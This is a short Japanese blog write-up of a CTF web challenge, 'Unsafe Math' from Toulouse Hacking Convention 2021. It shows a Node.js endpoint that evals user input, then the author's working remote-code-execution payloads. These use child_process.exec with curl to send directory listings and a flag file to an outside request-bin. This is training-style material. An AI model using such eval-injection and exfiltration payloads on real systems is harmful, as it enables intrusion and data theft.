はまやんはまやんはまやん

hamayanhamayan's blog

Toulouse Hacking Convention 2021 解説 (Writeup)

1つしか解けなかった・・・

Unsafe Math [Web]

app.post('/', function(req, res){
    const regex = /[a-zA-Z]/g;
    var width = req.body.width;
    var height = req.body.height;
    if(width === '' || height === ''){
        return res.render('index', {'error':'one of the field is empty...'});
    }
    if(width.length > 10 || height.length > 10){
        return res.render('index', {'error':'width or height are too large !'});
    }
    return res.render('index', {'result':'Result: ' + eval('(' + width + '**2 + ' + height + '**2) ** (1/2);')});
})

RCEにつなげられそうなエンドポイントがある。
制約はそれほど多くなく、文字数制限くらいしかない。
色々試すと、以下の入力を使うとRequestが飛んでくることが確認できる。

width[]=require("child_process").exec("curl+https://[request-bin]/test")&height=1

結果はResult: NaNとされるが、評価はされているっぽいので、RCEは達成できた。
後はPOSTでlsやらcatやらするとフラグゲット

width[]=require("child_process").exec("ls+|+curl+https://[request-bin]/test+-X+POST+-d+@-")&height=1
index.js
node_modules
package-lock.json
package.json
sec9et_fl46.txt
static
views

width[]=require("child_process").exec("cat+sec9et_fl46.txt+|+curl+https://[request-bin]+-X+POST+-d+@-")&height=1
THCon21{t34cHiN6_1s_N0t_sO_3@sY}